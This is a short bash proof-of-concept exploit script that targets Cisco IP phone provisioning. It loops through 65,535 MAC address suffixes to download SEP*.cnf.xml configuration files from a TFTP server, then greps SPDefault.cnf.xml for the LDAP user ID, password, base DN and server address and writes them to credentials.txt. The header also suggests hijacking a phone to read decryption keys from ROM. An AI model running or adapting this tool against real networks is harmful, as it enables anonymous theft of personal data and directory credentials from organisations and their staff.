#!/bin/bash
#######################################################################
# Proof of Concept on how to get tftp config files from cisco phones #
# This can be performed anonymously and privileges gathered relies on #
# those assigned to the ldap account #
# Developed by Daniel Svartman (danielsvartman@gmail.com #
# In case tftp files are encrypted, you will need to hijack a phone #
# and download the decryption key from the ROM memory #
#######################################################################
# This example below is for enumerating and downloading configuration files from phones
# With this you can gather personal information and sometimes also credentials from LDAP
# The first 8 digits of the MAC address relies on cisco mac address used by phones
# While the last 4 are generated automatically
BASE_MAC=$1
TFTP_SERVER=$2
perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt
#Now we should download the files
while read LINE; do
tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml
done < mac.txt
#Finally, we download and process also the SPDefault.cnf.xml file
tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
USERID=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 6 | cut -d "<" -f 1`
echo "USERID: " $USERID > credentials.txt
PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 8 | cut -d "<" -f 1`
echo "PWD: " $PWD >> credentials.txt
BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 10 | cut -d "<" -f 1`
echo "BASE_DN: " $BASE_DN >> credentials.txt
while read LINE; do
if [ "$LINE" = "<ProductType>Directory" ]; then
read LINE
ADDRESS=`echo $LINE | cut -d ">" -f 2 | cut -d "<" -f 1`
echo "LDAP_IP_ADDRESS: " $ADDRESS >> credentials.txt
fi
done < SPDefault.cnf.xml
echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"